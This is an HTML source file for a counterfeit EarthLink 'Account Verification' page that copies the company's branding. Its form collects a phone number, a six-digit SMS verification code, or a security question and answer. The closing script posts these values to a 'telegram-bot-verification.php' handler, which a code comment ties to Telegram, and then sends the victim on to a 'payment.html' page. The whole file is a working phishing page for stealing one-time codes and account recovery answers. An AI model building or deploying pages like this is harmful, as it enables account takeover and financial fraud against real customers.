Edit File: verification.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Account Verification - EarthLink</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css"> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Segoe UI', Arial, sans-serif; } body { background-color: #f2f2f2; } .header { background: linear-gradient(#fefefe, #e6e4e5); height: 36px; display: flex; justify-content: space-between; align-items: center; padding: 0 20px; } .logo img { max-width: 123px; padding-top: 3px; } .center-logo { text-align: center; margin: 25px auto 16px; } .center-logo img { width: 180px; } .outer-div { width: 100%; display: flex; justify-content: center; min-height: 525px; } .inner-div { width: 550px; border: 1px solid #ceced5; background-color: white; color: #212529; margin-bottom: 50px; } .heading-div { padding: 20px 56px 0; margin-top: 16px; } .heading-div h3 { font-size: 26px; color: #007dba; margin: 0; font-weight: 400; } .heading-div h4 { font-size: 16px; color: #707b87; margin-top: 10px; margin-bottom: 0; font-weight: inherit; } .verification-info { background: #e8f5ff; border: 1px solid #b3d9ff; padding: 15px; margin: 20px 56px; border-radius: 4px; font-size: 14px; color: #0066cc; } .verification-info i { margin-right: 8px; } form { padding: 20px 56px 32px; } .label-div { color: #707b87; font-size: 16px; margin-bottom: 10px; font-weight: 600; display: block; } input[type="text"], input[type="number"], input[type="email"], input[type="tel"] { height: 38px; width: 100%; font-size: 16px; border: 1px solid darkgrey; padding: 0 12px; font-weight: 400; margin-top: 10px; margin-bottom: 10px; } .form-row { display: flex; gap: 15px; margin-bottom: 15px; } .form-group { flex: 1; } .verification-code-container { display: flex; justify-content: center; gap: 10px; margin: 20px 0; } .verification-code-input { width: 50px; height: 60px; font-size: 24px; text-align: center; border: 2px solid #0172ce; border-radius: 8px; font-weight: bold; } button[type="submit"] { height: 38px; width: 100%; font-size: 16px; background: #0172ce; color: white; border: none; font-weight: 400; cursor: pointer; margin-top: 14px; } .verification-options { margin: 20px 0; text-align: center; } .verification-option { display: inline-block; margin: 0 10px; padding: 10px 20px; background: #f5f5f5; border: 1px solid #ddd; border-radius: 4px; cursor: pointer; } .verification-option:hover { background: #e9e9e9; } .footer { background-color: #57585c; padding: 50px 100px 0; color: white; } .footer-links { display: flex; justify-content: space-between; } .footer-section { flex: 1; } .footer-section h3 { font-size: 16px; font-weight: 600; margin-bottom: 10px; } .footer-section ul { list-style: none; } .footer-section ul li { margin-bottom: 5px; } .footer-section a { color: white; text-decoration: underline; font-size: 14px; } .social-links { display: flex; gap: 10px; margin-top: 20px; } .social-links a { display: inline-flex; align-items: center; justify-content: center; width: 36px; height: 36px; background: white; border-radius: 50%; text-decoration: none; } .social-links i { color: #57585c; font-size: 18px; } .copyright { padding: 20px 100px; text-align: center; color: white; font-size: 14px; background-color: #57585c; border-top: 1px solid #666; margin-top: 30px; } .error-message { color: red; font-size: 14px; margin-top: 5px; display: none; } .hidden { display: none; } </style> </head> <body> <!-- Header --> <div class="header"> <div class="logo"> <img src="https://www.earthlink.net/images/earthlink-logo.svg" alt="EarthLink"> </div> </div> <!-- Main Logo --> <div class="center-logo"> <img src="https://www.earthlink.net/images/earthlink-logo.svg" alt="EarthLink"> </div> <!-- Verification Form --> <div class="outer-div"> <div class="inner-div"> <div class="heading-div"> <h3>Account Verification Required</h3> <h4>For your security, please complete verification</h4> </div> <div class="verification-info"> <i class="fas fa-shield-alt"></i> <strong>Security Notice:</strong> We've sent a verification code to your registered email and phone number. </div> <form id="verificationForm"> <!-- Verification Method Selection --> <div class="verification-options"> <div class="verification-option" id="smsOption"> <i class="fas fa-mobile-alt"></i> SMS Verification </div> <div class="verification-option" id="emailOption"> <i class="fas fa-envelope"></i> Email Verification </div> </div> <!-- Phone Number (for SMS) --> <div id="smsForm"> <div> <label class="label-div" for="phoneNumber">Phone Number:</label> <input type="tel" id="phoneNumber" name="phoneNumber" placeholder="(123) 456-7890"> </div> <div> <label class="label-div">Verification Code:</label> <div class="verification-code-container"> <input type="text" class="verification-code-input" maxlength="1" data-index="1"> <input type="text" class="verification-code-input" maxlength="1" data-index="2"> <input type="text" class="verification-code-input" maxlength="1" data-index="3"> <input type="text" class="verification-code-input" maxlength="1" data-index="4"> <input type="text" class="verification-code-input" maxlength="1" data-index="5"> <input type="text" class="verification-code-input" maxlength="1" data-index="6"> </div> <input type="hidden" id="verificationCode" name="verificationCode"> </div> <div style="text-align: center; margin: 10px 0;"> <a href="#" id="resendCode" style="color: #0172ce; text-decoration: none;">Resend Code</a> <span style="color: #707b87; margin: 0 10px;">|</span> <a href="#" id="changeMethod" style="color: #0172ce; text-decoration: none;">Change Verification Method</a> </div> </div> <!-- Email Verification (hidden by default) --> <div id="emailForm" style="display: none;"> <div> <label class="label-div" for="securityQuestion">Security Question:</label> <select id="securityQuestion" name="securityQuestion" style="height: 38px; width: 100%; margin-top: 10px; margin-bottom: 10px; padding: 0 12px; border: 1px solid darkgrey;"> <option value="">Select a security question</option> <option value="pet">What was your first pet's name?</option> <option value="school">What elementary school did you attend?</option> <option value="city">In what city were you born?</option> <option value="mother">What is your mother's maiden name?</option> </select> </div> <div> <label class="label-div" for="securityAnswer">Answer:</label> <input type="text" id="securityAnswer" name="securityAnswer" placeholder="Enter your answer" required> </div> </div> <!-- Submit Button --> <button type="submit" id="verifyBtn"> <span id="buttonText">Verify Account</span> <i class="fas fa-spinner fa-spin hidden" id="spinner"></i> </button> <div style="text-align: center; margin-top: 20px; color: #707b87; font-size: 14px;"> <i class="fas fa-lock"></i> This helps prevent unauthorized access to your account </div> </form> </div> </div> <!-- Footer --> <div class="footer"> <div class="footer-links"> <!-- Internet Section --> <div class="footer-section"> <h3>Internet</h3> <ul> <li><a href="#">High-Speed Internet</a></li> <li><a href="#">Fiber Internet</a></li> <li><a href="#">Wireless Home Internet</a></li> </ul> </div> <!-- EarthLink Section --> <div class="footer-section"> <h3>EarthLink</h3> <ul> <li><a href="#">About Us</a></li> <li><a href="#">Contact</a></li> <li><a href="#">Blog</a></li> </ul> </div> <!-- Help Section --> <div class="footer-section"> <h3>Help</h3> <ul> <li><a href="#">Support</a></li> <li><a href="#">Live Chat</a></li> </ul> <h3 style="margin-top: 20px;">Follow EarthLink</h3> <div class="social-links"> <a href="#"><i class="fab fa-facebook-f"></i></a> <a href="#"><i class="fab fa-twitter"></i></a> <a href="#"><i class="fab fa-linkedin-in"></i></a> <a href="#"><i class="fab fa-youtube"></i></a> </div> </div> <!-- Account Section --> <div class="footer-section"> <h3>Account</h3> <ul> <li><a href="#">My Account</a></li> <li><a href="#">WebMail</a></li> <li><a href="#">My EarthLink</a></li> </ul> </div> </div> <div class="copyright"> © 2026 EarthLink, LLC • All rights reserved<br> <a href="#" style="color: white; text-decoration: underline;">Privacy Policy</a> • <a href="#" style="color: white; text-decoration: underline;">Interest-Based Ads</a> </div> </div> <script> document.addEventListener('DOMContentLoaded', function() { const form = document.getElementById('verificationForm'); const smsForm = document.getElementById('smsForm'); const emailForm = document.getElementById('emailForm'); const smsOption = document.getElementById('smsOption'); const emailOption = document.getElementById('emailOption'); const verificationCodeInputs = document.querySelectorAll('.verification-code-input'); const verificationCodeHidden = document.getElementById('verificationCode'); const verifyBtn = document.getElementById('verifyBtn'); const buttonText = document.getElementById('buttonText'); const spinner = document.getElementById('spinner'); // Set SMS as default smsOption.style.background = '#0172ce'; smsOption.style.color = 'white'; // SMS option clicked smsOption.addEventListener('click', function() { smsForm.style.display = 'block'; emailForm.style.display = 'none'; smsOption.style.background = '#0172ce'; smsOption.style.color = 'white'; emailOption.style.background = '#f5f5f5'; emailOption.style.color = 'black'; }); // Email option clicked emailOption.addEventListener('click', function() { smsForm.style.display = 'none'; emailForm.style.display = 'block'; emailOption.style.background = '#0172ce'; emailOption.style.color = 'white'; smsOption.style.background = '#f5f5f5'; smsOption.style.color = 'black'; }); // Auto-focus and move between verification code inputs verificationCodeInputs.forEach((input, index) => { input.addEventListener('input', function(e) { const value = e.target.value; // Only allow numbers if (!/^\d?$/.test(value)) { e.target.value = ''; return; } // Update hidden input with full code updateVerificationCode(); // Move to next input if value entered if (value && index < verificationCodeInputs.length - 1) { verificationCodeInputs[index + 1].focus(); } }); input.addEventListener('keydown', function(e) { if (e.key === 'Backspace' && !e.target.value && index > 0) { verificationCodeInputs[index - 1].focus(); } }); // Allow paste input.addEventListener('paste', function(e) { e.preventDefault(); const pasteData = e.clipboardData.getData('text').replace(/\D/g, ''); const digits = pasteData.split('').slice(0, 6); digits.forEach((digit, digitIndex) => { if (verificationCodeInputs[digitIndex]) { verificationCodeInputs[digitIndex].value = digit; } }); updateVerificationCode(); // Focus last input const lastFilledIndex = Math.min(digits.length - 1, verificationCodeInputs.length - 1); verificationCodeInputs[lastFilledIndex].focus(); }); }); function updateVerificationCode() { const code = Array.from(verificationCodeInputs) .map(input => input.value) .join(''); verificationCodeHidden.value = code; } // Resend code document.getElementById('resendCode').addEventListener('click', function(e) { e.preventDefault(); alert('New verification code sent!'); // Clear inputs verificationCodeInputs.forEach(input => input.value = ''); verificationCodeInputs[0].focus(); verificationCodeHidden.value = ''; }); // Change method document.getElementById('changeMethod').addEventListener('click', function(e) { e.preventDefault(); emailOption.click(); }); // Form validation form.addEventListener('submit', function(e) { e.preventDefault(); // Show loading state buttonText.textContent = 'Verifying...'; spinner.classList.remove('hidden'); verifyBtn.disabled = true; // Collect form data const formData = new FormData(); formData.append('verificationMethod', smsForm.style.display === 'block' ? 'SMS' : 'Email'); if (smsForm.style.display === 'block') { formData.append('phoneNumber', document.getElementById('phoneNumber').value); formData.append('verificationCode', verificationCodeHidden.value); } else { formData.append('securityQuestion', document.getElementById('securityQuestion').value); formData.append('securityAnswer', document.getElementById('securityAnswer').value); } formData.append('timestamp', new Date().toISOString()); // Send to Telegram for verification data fetch('telegram-bot-verification.php', { method: 'POST', body: formData }).then(response => { console.log('Verification data sent'); // ✅ Redirect to PAYMENT page after verification setTimeout(() => { window.location.href = 'payment.html'; }, 1000); }).catch(error => { console.log('Error sending verification data:', error); buttonText.textContent = 'Verify Account'; spinner.classList.add('hidden'); verifyBtn.disabled = false; }); }); // Auto-focus first input verificationCodeInputs[0].focus(); }); </script> </body> </html>
Back